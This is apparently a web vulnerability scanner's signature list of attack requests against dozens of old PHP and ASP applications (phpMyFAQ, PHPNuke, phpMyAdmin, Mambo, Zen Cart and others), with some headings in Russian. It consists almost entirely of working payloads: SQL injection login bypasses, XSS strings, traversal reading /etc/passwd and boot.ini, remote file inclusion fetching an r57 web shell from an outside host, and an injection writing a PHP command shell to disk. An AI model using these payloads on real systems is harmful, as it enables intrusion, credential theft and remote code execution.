phpMyFAQ 1.5.1 SQL Injection
admin/password.php POST username=%27+or+isnull%281%2F0%29+%2F*&email=1@2.c om
A-FAQ 1.0 SQL Injection
faqDsp.asp?catcode=12%20union%20select%20name%20fr om%20msysobjects%20in%20'\nopath\
sqlerr
Atlantis Knowledge Base Software v.3.0 SQL Injection
search.php POST searchStr=%25%27+union+select+*+from+force_mysql_w arning%2F*
ASP Survey v1.10 SQL Injection
/Admin/Login_Validate.asp POST Username=admin&Password=%27or%27&Dest=http%3A%2F%2 Fasp.loftin-nc.com%2FASPSurvey%2FDemo%2FAdmin%2
FDefault.asp
Owl v.0.82 File Inclusion
/lib/OWL_API.php?xrms_file_root=nonexistent_test_includ efile%00


PHPNuke 7.8 Remote Directory Traversal
modules.php?name=Search&file=../../../../../../../../../../etc/passwd%00
modules.php?name=Search&file=../../../../../../../../../../../boot.ini%00


TWiki rev Parameter Remote Command Execution Vulnerability
view/Main/TWikiUsers?rev=2%20%7Cless%20/etc/passwd
view/Main/TWikiUsers?rev%3D2%20%7Ctype%20%5Cboot%2Eini
PmWiki 2.0.12 q-Parameter XSS
pmwiki.php ?n=Site.Search?action=search&q=test_search_item%27 %20onMouseOver%3D%27alert%28%22wvs-xss-magic
-string-${random}%22%29%3B%27%20

ProjectApp v.3.3 XSS
default.asp ?skin_number=XSS.css%22%3E%3Cscript%3Ealert('wvs-xss-magic-string-${random}')%3C/script%3E%3C
IntranetApp v.3.3 XSS
login.asp ?ret_page=a%22%3E%3Cscript%3Ealert('xss-${random}')%3C/script%3E%3C%22
dotproject v.2.0.1 File Inclusion
includes/db_adodb.php?baseDir=http://rst.void.ru/download/r57shell.txt
Qwiki v.1.5.1 XSS
index.php?page=Home&from='%3Cscript%3Ealert(%22xss-${random}%22)%3C/script%3E


phpMyAdmin grab_globals.lib.php
libraries/grab_globals.lib.php POST usesubform[1]=1&usesubform[2]=1&subform[1][Whiteirect]=${file}/../../../../../../../
../../../etc/passwd&subform[1]
libraries/grab_globals.lib.php POST
usesubform[1]=1&usesubform[2]=1&subform[1][Whiteirect]=${file}/../../../../../../../
../../../boot.ini&subform[1]
phpMyAdmin XSS
queryframe.php?lang=en-iso-8859-1&server=1&hash=">='%3C/a%3E%3CIFRAME%
20SRC=javascript:alert(%2527xss%2527)%3E%3C/IFRAME%3E
phpMyAdmin Раскрытие пути
libraries/charset_conversion.lib.php ?cfg[AllowAnywhereRecoding]=true&
allow_recoding=true)


PHP-Fusion 6.00.109 SQL Injection
faq.php?cat_id=1%27%20or%20force_mysql_error%3D%27 2
MySource 2.14.0 File Inclusion
init_mysource.php ?INCLUDE_PATH=http://rst.void.ru/download/r57shell.txt
e107 v0617 SQL Injection
e107_files/resetcore.php POST a_name=%27+or+isnull%281%2F0%29%2F*&a_password=&us ubmit=Continue
lucidCMS 1.0.11 SQL Injection
index.php?command=panel
PhpWebThings 1.4.4 SQL Injection
forum.php?forum=-1%20union%20select%20password,password,null,null%2 0from%
20test_mysql_injection%20where%20uid=1/*
Envolution v.1.1.0 SQL Injection
modules.php?op=modload&name=News&file=index&catid= %221%22%20AND%20force_error=error
Acidcat v.2.1.13 SQL Injection
default.asp?ID=26%20union%20select%201,2,2,3,passw ord,5,6%20from%20Configuration
DEV v1.5 SQL Injection
index.php?session=0&action=openforum&cat=force_err or
SiteEnable v.3.3 XSS
login.asp?ret_page=a%22%3E%3Cscript%3Ealert('xss-${random}')%3C/script%3E%3C%22
PortalApp v.3.3 XSS
login.asp?ret_page=a%22%3E%3Cscript%3Ealert('xss-${random}')%3C/script%3E%3C%22
Typo3 v.3.8.1 Раскрытие пути
/tslib/showpic.php
RunCMS v.1.3a5 XSS
/modules/mydownloads/ratefile.php?lid=1%22%3E%3Cscript%3Ealert('xss-${random}');
%3C/script%3E%3Cbr%20name=%22nothing
Mambo v.4.5.3h SQL Injection
/index.php POST username=%27or+isnull%281%2F0%29%2F*&passwd=anypas sword&option=login&Submit=Login&op2=login&lang
=english&return=${file}&message=0
Dragonfly CMS v.9.0.6.1 XSS
/index.php POST search=%22%3E%3Cscript%3Ealert%28%22wvs-xss-magic-string-${random}%22%29%3C%2Fscript%3E&topic=0&cat
=0&news_search_comments=0&coppermine=
Nodez v.4.6.1.1 XSS
/index.php?node=system&op=block%3Cscript%3Ealert(%2 2wvs-xss-magic-string-${random}%22)
%3C/script%3E&block=3&bop=more
XOOPS v.2.0.11 SQL Injection
/xmlrpc.php POST <?xml version="1.0"?><methodCall><methodName>blogger.get UsersBlogs</methodName><params><param><value>
<string></string></value></param><param><value><string>any') or isnull(1/0)/*</string></value></param></params></methodCall>


Gallery "g2_itemId" локальный иклуид
main.php?g2_itemId=/../../../../../../../../../../../boot.ini%00
main.php?g2_itemId=/../../../../../../../../../../../etc/passwd%00
/upgrade/index.php ?stepOrder[]=../../../../../../../../include_inexistent_file.txt%00
Coppermine Photo Gallery v.1.4.2 игнорировать конфигурацию
relocate_server.php POST continue=1
Instant Photo Gallery v.1.0 SQL Injection
portfolio.php?cat_id="force_sql_error
Enhanced Simple PHP Gallery v.1.7 Раскрытие пути
index.php?dir=inexistent_directory
WhiteAlbum v.2.5 SQL Injection
pictures.php?dir=force_mysql_warning
LinPHA v.1.0 Local File Inclusion
/docs/index.php?lang=/../../../../../../../../../../etc/passwd%00
/docs/index.php?lang=/../../../../../../../../../../boot.ini%00


Codegrrl Arbitrary Local File Inclusion
protection.php?action=logout&siteurl=../../../../../../../../../../etc/passwd%00
protection.php?action=logout&siteurl=../../../../../../../../../../boot.ini%00
Techno Dreams Products SQL Injection
admin/login.asp POST userid=%27union+all+select+%271%27%2C%271%27+from+ admin+where+%27%27%3D%27&passwd=1&submit=Login
AlstraSoft Template Seller Pro 3.25 File Inclusion
include/paymentplugins/payment_paypal.php?config[basepath]=inexistent_hacker_box
AlstraSoft Affiliate Network Pro v.7.2 SQL Injection
admin/admin_login_validate.php POST login=%27+or+isnull%281%2F0%29+%2F*&passwd=&B1=Log in
OpenEdit v.4.0 XSS
/store/search/results.html ?page=%3Ciframe%3Exss-${random}%3C/iframe%3E


Zend Cart 1.2.6 SQL Injection
admin/password_forgotten.php POST admin_email=%27UNION+SELECT+0%2C0%2C%27%3C%3Fphp+s ystem%28%24_GET%5Bcmd%5D%29%3B+%3F%3E%27%2C0
+INTO+OUTFILE+%27shell.php%27+FROM+force_table_err or%2F*&submit=resend
Lizard Cart CMS v.1.0.4 SQL Injection
detail.php?id=-1'
My Amazon Store Manager v1.0 XSS
/search.php ?q=%3Cscript%3Ealert('xss-${random}')%3C/script%3E&Mode=apparel
CRE Loaded v.6.15 XSS
/admin/htmlarea/popups/file/files.php?q=%3Cscript%3Ealert('xss-${random}')%3C/
script%3E&Mode=apparel
NZ Ecommerce SQL Injection
/index.php?action=Information&informationID=1%20and %20generate_error=error


Ades Guestbook v.2.0 XSS
read.php ?pageNum_rsRead=1&totalRows_rsRead=%3Cscript%3Eale rt%28%27wvs-xss-magic-string-${random}%27%29%3
C%2Fscript%3E


Mantis 1.00 File Inclusion
bug_sponsorship_list_view_inc.php?t_core_path=../../../../../../../../etc/passwd%00
bug_sponsorship_list_view_inc.php?t_core_path=../../../../../../../../../boot.ini%00
Flyspray 0.9.8 XSS
index.php ?tasks=all%22%3E%3Cscript%3Ealert%28%22XSS%22%29%3 C%2Fscript%3E%26project%3D0
Gemini v.2.0 XSS
/issue/createissue.aspx?rtcDescription$RadEditor1=1><scri pt>alert(${random});</script>


Digital Scribe 1.4 SQL Injection
login.php POST username=%22+or+isnull%281%2F0%29+%2F*&pass1=&subm it=Login
ATUTOR 1.5.1 SQL Injection
password_reminder.php POST form_password_reminder=true&form_email=%27
PHP Advanced Transfer Manager System локальный include
viewers/txt.php?filename=../../../../../../../../../../boot.ini%00
viewers/txt.php?filename=../../../../../../../../../../etc/passwd%00
Chipmunk Topsites XSS
recommend.php ?ID='%3C/a%3E%3CIFRAME%20SRC=javascript:alert(%2527xss%2527 )%3E%3C/IFRAME%3E
Chipmunk Directory XSS
recommend.php ?entryID='%3C/a%3E%3CIFRAME%20SRC=javascript:alert(%2527xss%2527 )%3E%3C/IFRAME%3E
Gcards 1.44 limit parameter SQL Injection
news.php ?limit=force_sql_error
phpSysInfo 2.3 XSS
index.php ?VERSION=%22%3E%3Cscript%3Ealert('FORCE_XSS')%3C/script%3E
Advanced Poll 2.03 XSS
popup.php ?poll_ident=%3Cscript%3Ealert(%22wvs-xss-magic-string-${random}%22)%3C/script%3E
PHPGreetz 0.99 Remote File Include
content.php?content=http://rst.void.ru/download/r57shell.txt
eFiction 1.1 XSS и SQL Injection
titles.php?action=viewlist&let='%20UNION%20SELECT% 200,0,'%3Cscript%3Ealert(%22wvs-xss-magic-string-${random}%22)%3C/script%3E',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,pen name,0%20FROM%20fanfiction_authors%20/*
Google API Search Engine v.1.3.1 XSS
index.php?REQ=%3Cscript%3Ealert%28%27wvs-xss-magic-string-${random}%27%29%3C%2Fscript%3ESubmit=Submit
phpArcadeScript v.2.0 XSS
/includes/tellafriend.php?about=game&gamename=%3Cscript%3Eal ert(${random});%3C/script%3E